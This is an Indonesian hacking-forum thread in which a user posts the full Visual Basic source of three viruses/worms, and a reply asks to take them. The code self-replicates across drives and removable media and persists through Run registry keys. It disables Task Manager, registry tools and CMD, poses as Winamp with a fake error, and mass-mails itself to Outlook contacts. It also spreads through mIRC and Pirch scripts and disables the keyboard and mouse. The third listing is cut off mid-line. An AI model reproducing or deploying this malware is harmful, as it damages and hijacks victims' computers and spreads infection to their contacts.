.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 virus vb code

Go down 
2 posters
PengirimMessage
Copper
Lamer
Lamer
Copper


Jumlah posting : 232
Points : 338
Reputation : 0
Join date : 21.07.11
Age : 33
Lokasi : dimana-mana

virus vb code Empty
PostSubyek: virus vb code   virus vb code Icon_minitimeSat Jul 23, 2011 4:25 pm

Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.Mungkin ini kelihatan biasa aja,aq cuman ingin bagi-bagi ilmu aja,maaf ya.. kalo gak bisa gasih lebih..ini codenya :
Code:
------------------------------------------------------------------------------------------
Code:
Private Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub

Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function

Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub

Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub

---------------------------------------------------------------------------
virus 2

code

VB Virus 2

untuk ngebuatnya cuman di butuhin form 1 aja tanpa komponen laen ,ini codingnya :

Code:
Code:
Private Declare Function AmbilDirektoriWindow Lib "kernel32" Alias "AmbilDirektoriWindowA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Sub Form_Load()
On Error Resume Next
Me.Visible = False
App.TaskVisible = False
Me.Hide
If App.PrevInstance = True Then
End
End If
Dim path As String, strSave As String
Dim SubKey, file As Object
Set SubKey = CreateObject("WScript.Shell")
Set file = CreateObject("Scripting.FileSystemObject")
strSave = String(200, Chr$(0))
path = Left$(strSave, AmbilDirektoriWindow(strSave, Len(strSave)))

FileCopy App.path + "\" + App.EXEName + ".exe", path + "\" + "window.exe"
SubKey.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "gpmce", path & "\" & "Angel2" & ".exe"
SubKey.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "gpmce", path & "\" & "Angel2" & ".exe"

Direktori (path)
SemuaFolder
Infeksi
pen
End Sub

Private Sub Direktori(path As String)
On Error Resume Next
Dim Fso As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim drives As Object
Dim drive As Object
Set drives = Fso.drives

For Each drive In drives
Select Case drive.DriveType
Case 2
If drive.IsReady = True Then
If drive.AvailableSpace <> "" Then
Dim letter As String
If (StrComp(drive.DriveLetter, path, vbTextCompare)) Then
letter = drive.DriveLetter + ":\"
InfeksiFolder letter
End If
End If
End If
End Select
Next
End Sub

Function InfeksiFolder(Fold As String)
Dim Fso As Object, FolderS
Set Fso = CreateObject("Scripting.FileSystemObject")
For Each FolderS In Fso.GetFolder(Fold).subfolders
FileCopy App.path + "\" + App.EXEName + ".exe", FolderS.path + "\" + FolderS.Name + ".exe"
Call InfeksiFolder(FolderS.path)
Next FolderS
End Function

Private Sub SemuaFolder()
On Error Resume Next
Dim s1 As String
Dim wshShell:
Set wshShell = CreateObject("WScript.Shell")
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("MyDocuments") + "\" + "MyDocuments.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("Favorites") + "\" + "Fonts.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("Recent") + "\" + "Recycle Bin.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("startup") + "\" + "Angel2.exe"
InfeksiFolder wshShell.SpecialFolders("MyDocuments")
End Sub

Private Sub Infeksi()
On Error Resume Next
Dim Key As Object
Set Key = CreateObject("WScript.Shell")
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\start page", "[You must be registered and logged in to see this link.]
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\search page", "[You must be registered and logged in to see this link.]
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoFolderOptions", 1, "REG_DWORD"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LocalizedString", "@%SystemRoot%\system32\SHELL32.dll,-8964"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString", "@%SystemRoot%\system32\shell32.dll,-9216"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon\", "%SystemRoot%\System32\shell32.dll,31"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\empty", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\full", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DisableThumbnailCache", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\disableCMD", 2, "REG_DWORD"
End Sub

Private Sub pen()
On Error Resume Next
Dim Fso As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim drives As Object
Dim drive As Object
Dim s As String
Set drives = Fso.drives

While 1
For Each drive In drives
Select Case drive.DriveType
Case 1
If (StrComp(drive.DriveLetter, "a", vbTextCompare)) Then

End If
If drive.IsReady = True Then
If drive.AvailableSpace <> "" Then
FileCopy App.path + "\" + App.EXEName + ".exe", drive.DriveLetter + ":\" + "Angel2.exe"
s = drive.DriveLetter + ":\"
InfeksiFolder s
End If
End If
End Select


Next
Wend
End Sub
--------------------------------------------------------------------------

vb 3
Ini Infeksinya :
@Akan mengcopy di C:%System%\Winamp.exe
@Mendaftarkan dirinya di register di :
$HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Swf32="C:%System%\Winamp.exe"' supaya bisa aktif kalo kumpoter di nyala in..
$HKEY_CLASSES_ROOT\scrfile\shell\open\command\="C:%System%\winamp.exe"',
@Nampilin error : Winamp error, please reinstall !' saat virus di jalanin
@akan mengcopy ke folder startup jadi bisa aktif terus
@Mengcopy juga ke %Windows%, %System% and %Temp% folders dengan nama 'Jdbgmgr.exe'
Ini di lakukan supaya ada backupan worm.
@mengirim email ke semua daftar alamat email yang ada di address book
@Worm ini akan berusaha menyebarkan dirinya melalui Mirc, Pirch and Kazaa
@Oo..h iya..,aq enggak tau nyebarin melaui E-mail bekerja apa enggak di komputer laen,masalahnya di komputer aq jalan,kasih tau aq yah.. sapa tau aja jalan ? ! ?
@ dan sebagainya, di coba yah..

Kalo mau ngebuatnya yang dibutuhin cuman Form kosong aja kok, gak ada komponen laennya and tinggal di masukin aja Codingnya .

NB : Aq gunain statement Print -> 6.02x10^23,

Ini Codingnya :
Code:
Code:
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'Objeck CD Tray (Supaya worm bisa buka CD Tray)
Private Sub Form_Load()
On Error Resume Next
' -------------------------------------------------------------------------------------
Dim AppPath As String
AppPath = App.Path
If Right(AppPath, 1) <> "\" Then AppPath = AppPath & "\" ' cari tempat negcopy :)
Set fso = CreateObject("Scripting.FileSystemObject") ' Cari tempat di direktori %Windows%, %System% atau %Temp%.
Set wsc = CreateObject("WScript.Shell") ' Copy ke Folder %Startup% , dan tulis di register.
WormMawarkuning = AppPath & App.EXEName & ".EXE" ' Copy format .exe.
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Winamp.exe") <> "Winamp.exe" Then ' Periksa apa worm udah di Copy.
FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Winamp.exe" ' Kalo worm belum di copy,yah.. di copy lagi dunks... :)
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Winamp", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register supaya worm bisa terus di jalan in.
wsc.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register,terus mengesampingkan perintah Screen Server di Dekstop,supaya menghemat daya yang di gunain di Svreen Server, dan sebagai gantinya yah.. worm ini lah...
MsgBox "Winamp Error,Please Reinstal....!", vbCritical, "Error" ' Kirim pesan palsu :)
Else
If Day(Now) = 16 Then 'infeksi pada tanggal 16 :)
MsgBox "Compact-Disc Terinfeksi", vbSystemModal + vbExclamation, "Mawar Kuning By jimmyxxx"
mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0& ' Buka CD Tray :)
wsc.Run "Rundll32.exe Keyboard,Disable" ' Disable keyboard
wsc.Run "Rundll32.exe Mouse,Disable" ' Disable mouse
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Keyboard", "Rundll32.exe Keyboard,Disable" ' Disable Keyboard di Register,jadi Keyboard akan tetap enggak jalan sebelum Value di Register di Hapus.
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Mouse", "Rundll32.exe Mouse,Disable" ' Sama seperti Keyboard,Mouse akan tetap disable sebelum Value di Register di Hapus.
End If
End If
' -------------------------------------------------------------------------------------
If Dir(wsc.SpecialFolders("Startup") & "\MawarKuning.exe") <> "MawarKuning.exe" Then 'Copy ke Folder StartUp
FileCopy WormMawarkuning, wsc.SpecialFolders("Startup") & "\MawarKuning.exe" ' Kalo worm enggak ada di folder StartUp, Yah.. copy lagi.. lagi.. dan lagi.. sampe bosen :)
End If
' -------------------------------------------------------------------------------------
FileCopy WormMawarkuning, fso.GetSpecialFolder(0) & "\Jdbgmgr.exe"
FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Jdbgmgr.exe" ' buat BackUp Worm ,dan copy ulang file Jdbgmgr.exe :)
FileCopy WormMawarkuning, fso.GetSpecialFolder(2) & "\Jdbgmgr.exe"
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Mawar Kuning.txt") <> "Mawar Kuning.txt" Then ' kirim worm ke alamat yang ada di Address Book di Microsoft Outlook.
Set OutlookApp = CreateObject("Outlook.Application")
Set GNS = OutlookApp.GetNameSpace("MAPI")
For List1 = 1 To GNS.AddressLists.Count
CountLoop = 1
For ListCount = 1 To GNS.AddressLists(List1).AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add (GNS.AddressLists(List1).AddressEntries(CountLoop))
Randomize
RndNumber = Int((6 * Rnd) + 1)
Select Case RndNumber
Case 1: RndText = "Kamu udah Lihat Gambar Mawar Kuning lagi Mekar;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 2: RndText = "Ada Video,Mawar Kuning lagi Mekar di pagi hari loh....." & vbCrLf _
& "Balas E-mail aku ya.. supaya aku tahu kamu suka apa enggak,Oke..;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 3: RndText = "Kamu sudah punya video Mawar Kuning Lagi Mekar Di Pagi Hari, Aku tahu kamu suka Video ini,;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 4: RndText = "Kamu sudah lihat belum,Video sepasang kekasih duduk dikelilingi Mawar kuning..." & vbCrLf _
& "Aku tahu kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 5: RndText = "Apa pendapat kamu tentang Video Mawar kuning ?" & vbCrLf _
& "Kirim e-mail ke aku yah.. aku ingin tahu pendapat kamu;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 6: RndText = "Nonton video Mawar kuning,kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
End Select
OutlookEmail.Subject = "Salam Kenal!"
OutlookEmail.Body = RndText
OutlookEmail.Attachments.Add (fso.GetSpecialFolder(1) & "\MawarKuning.exe")
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Importance = 2
OutlookEmail.Send
CountLoop = CountLoop + 1
Next
Next
End If
' -------------------------------------------------------------------------------------
Open fso.GetSpecialFolder(1) & "\Mawar Kuning.txt" For Output As 1
Print #1, "MawarKuning by Shadow Angel"
Close 1
' -------------------------------------------------------------------------------------
If Dir("C:\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc32" ' Cari Mirc
If Dir("C:\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc32"
If mIRCPath <> "" Then ' Jika Mirc di instal atau ada di komputer worm akan mengEdit : Script.ini :)
' -------------------------------------------------------------------------------------
If Dir(mIRCPath & "\Mawar.ex_") <> "Mawar.ex_" Then
FileCopy WormMawarkuning, mIRCPath & "\Mawar.ex_"
End If
' -------------------------------------------------------------------------------------
Open mIRCPath & "\script.ini" For Output As 2
Print #2, "[script]"
Print #2, "n5= on 1:JOIN:#:{"
Print #2, "n6= /if ( $nick == $me ) { halt }"
Print #2, "n7= /msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe"
Print #2, "n8= /dcc send -c $nick " & mIRCPath & "\Mawar.ex_"
Print #2, "n9= }"
Close 2
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch32" ' Cari Folder Pirch
If Dir("C:\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch32"
' -------------------------------------------------------------------------------------
If PirchPath <> "" Then ' Kalo Pirch di instal di komputer atau ada di komputer maka worm akan mengEdit file : Events.ini :)
' -------------------------------------------------------------------------------------
If Dir(PirchPath & "\Mawar.ex_") <> "Mawar.ex_" Then
FileCopy WormMawarkuning, PirchPath & "\Mawar.ex_"
End If
' -------------------------------------------------------------------------------------
Open PirchPath & "\events.ini" For Output As 3
Print #3, "[Levels]"
Print #3, "Enabled=1"
Print #3, "Count=6"
Print #3, "Level1=000-Unknowns"
Print #3, "000-UnknownsEnabled=1"
Print #3, "Level2=100-Level 100"
Print #3, "100-Level 100Enabled=1"
Print #3, "Level3=200-Level 200"
Print #3, "200-Level 200Enabled=1"
Print #3, "Level4=300-Level 300"
Print #3, "300-Level 300Enabled=1"
Print #3, "Level5=400-Level 400"
Print #3, "400-Level 400Enabled=1"
Print #3, "Level6=500-Level 500"
Print #3, "500-Level 500Enabled=1"
Print #3, ""
Print #3, "[000-Unknowns]"
Print #3, "UserCount=0"
Print #3, "Event1=ON JOIN:#:/msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[100-Level 100]"
Print #3, "User1=*!*@*"
Print #3, "UserCount=1"
Print #3, "Event1=ON JOIN:#:/dcc send $nick " & PirchPath & "\Mawar.ex_"
Print #3, "EventCount=1"
Print #3, ""
Print #3, "[200-Level 200]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[300-Level 300]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[400-Level 400]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[500-Level 500]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Close 3
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Kazaa\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa\Kazaa.exe") = "Kazaa.exe" T


maaf kl ada solah mohon koreksi,,,,,,,,
Kembali Ke Atas Go down
Roy Sukro
VIP Member
VIP Member
Roy Sukro


Jumlah posting : 392
Points : 711
Reputation : 17
Join date : 06.02.11
Age : 35
Lokasi : dimana-mana ada ^^

virus vb code Empty
PostSubyek: Re: virus vb code   virus vb code Icon_minitimeSat Aug 20, 2011 3:05 pm

ijin di comot gan virusnya virus vb code 772168924
Kembali Ke Atas Go down
http://www.google.com
 
virus vb code
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» Virus ? code in C
» Source Code Melissa Virus
» Buat Virus Ga' Sulit & G' Harus Ngerti Code Program..
» Tips Membuat Ekstensi EXE pada program Delphi + Source Code Anti Virus
» Share Virus, Download Macam Macam Virus, dan Upload Virus

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Virus,Malware,Trojan,Worm, Dll-
Navigasi: